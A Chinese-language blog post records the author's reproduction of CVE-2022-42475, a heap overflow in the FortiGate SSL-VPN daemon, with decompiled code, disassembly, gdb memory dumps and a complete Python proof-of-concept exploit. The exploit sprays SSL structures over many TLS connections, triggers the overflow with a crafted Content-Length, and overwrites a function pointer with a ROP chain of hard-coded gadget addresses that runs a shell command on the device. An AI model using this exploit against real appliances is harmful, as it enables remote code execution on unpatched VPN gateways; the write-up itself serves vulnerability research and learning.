CVE-2022-42475-FortiGate-SSLVPN HeapOverflow 学习记录

前言

之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持 ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。

如何劫持SSL结构体指针实现控制程序流

就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的 gadget便可以控制程序的执行流。相关代码如下:

__int64 __fastcall debug_2nd_control(__int64 a1, char a2)
{
  ...
      if ( v9 )
      {
        result = v8 + 96;
        if ( v9 != v8 + 96 )
        {
          v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
          if ( v10 )
            return v10(a1);
          ...
}

.text:000000000180C180 48 8B 82 C0 00 00 00                    mov     rax, [rdx+0C0h]
.text:000000000180C187 4C 89 EF                                mov     rdi, r13
.text:000000000180C18A 48 85 C0                                test    rax, rax
.text:000000000180C18D 0F 84 85 00 00 00                       jz      loc_180C218
.text:000000000180C193 5B                                      pop     rbx
.text:000000000180C194 41 5C                                   pop     r12
.text:000000000180C196 41 5D                                   pop     r13
.text:000000000180C198 41 5E                                   pop     r14
.text:000000000180C19A 5D                                      pop     rbp
.text:000000000180C19B FF E0                                   jmp     rax

漏洞点

从下面的汇编中可知,这里分配的大小是由 movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为 1,从而产生堆溢出。利用手法是,在堆上大量喷射 SSL结构体,从而劫持其中对应的函数指针。

0000000001811174 8B 40 18        mov     eax, [rax+18h]  ; Keypatch modified this from:
0000000001811174                 ;   nop word ptr [rax+rax+00000000h]
0000000001811174                 ; Keypatch padded NOP to next boundary: 8 bytes
0000000001811177 49 8B 3C 24     mov     rdi, [r12]      ; Keypatch modified this from:
000000000181117B E9 86 02 00 00  jmp     loc_1811406

0000000001811406 8D 70 01        lea     esi, [rax+1]    ; Keypatch modified this from:
0000000001811409 E9 96 01 00 00  jmp     loc_18115A4

00000000018115A4 48 63 F6        movsxd  rsi, esi        ; Keypatch modified this from:
00000000018115A7 E9 88 FB FF FF  jmp     loc_1811134

0000000001811134 E8 27 0A EC FF  call    alloc__

如何确定填充数量

网上已经有文章(https://forum.butian.net/index.php/share/2166)给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言,ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串 read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为 192的地方。故我们只需定位到 read_post_data,即可确定偏移。

sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);

char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
{
  ...
  strLen = strlen(str);
  v8 = alloc__(*a1, strLen + 201);
  v9 = (__int64)v8;
  if ( v8 )
  {
    *(_QWORD *)v8 = v8;
    *((_QWORD *)v8 + 1) = v8;
    v10 = &v8[32 * a3];
    *((_DWORD *)v10 + 6) = a4;
    *((_DWORD *)v10 + 7) = a4;
    if ( (a4 & 1) != 0 )
    {
      *(_QWORD *)(32LL * a3 + v9 + 32) = a5;
    }
    else if ( (a4 & 4) != 0 )
    {
      *(_QWORD *)(32LL * a3 + v9 + 40) = a5;
    }
    strcpy((char *)(v9 + 200), str);
    ...
}

调试时内存分布如下,有 0x2638-0x1818 = 0xE20 = 3616

(gdb) i r $rdi
rdi            0x7f6edef01818   140114163406872
(gdb) x/10gx 0x7f6edef01818
0x7f6edef01818: 0x0000000000000000      0x0000000000000000
0x7f6edef01828: 0x0000000000000000      0x0000000000000000
0x7f6edef01838: 0x0000000000000000      0x0000000000000000
0x7f6edef01848: 0x0000000000000000      0x0000000000000000
0x7f6edef01858: 0x0000000000000000      0x0000000000000000
(gdb) x/10gx 0x7f6edef02638
0x7f6edef02638: 0x0000000000000000      0x736f705f64616572
0x7f6edef02648: 0x0000617461645f74      0x0000000000000000
0x7f6edef02658: 0x0000000000000000      0x0000000000000000
0x7f6edef02668: 0x0000000000000000      0x0000000000000000
0x7f6edef02678: 0x0000000000000000      0x0000000000000000
(gdb) x/s 0x7f6edef02640
0x7f6edef02640: "read_post_data"

poc

import struct
import socket
import ssl

p64 = lambda x: struct.pack("<Q", x)

path = "/remote/login".encode()

ip = "192.168.229.162"
port = 4443

def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket

socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None

CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"

exp_sk = create_ssl_ctx()

for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)

exp_sk.sendall(data)

payload = b"b" * (3613-0xc0)
payload+= p64(0)
payload+= p64(0x19de70a)
# 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
payload+= p64(0x100)*3
payload+= p64(0x1855c29)
# 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
payload+= p64(0x1fe54ad)
# 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
payload+= p64(0x30)
payload+= p64(0x18cfb70)
# 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
payload+= p64(0x40)*(24-9)

payload+= p64(0x1d3379c) # rip
# push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
payload+= p64(0x736f705f64616572)
payload+= p64(0x0000617461645f74)
cmd = b"busybox ls > /tmp/hack"
cmd = cmd.ljust(11*0x8, b'\x00')
payload+= cmd
payload+= p64(0x43FDF0)

exp_sk.sendall(payload)

for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)

print("done")

参考链接

https://forum.butian.net/index.php/share/2166

https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

posted @ 2023-08-19 19:04  狒猩橙  阅读(431)  评论(0编辑  收藏  举报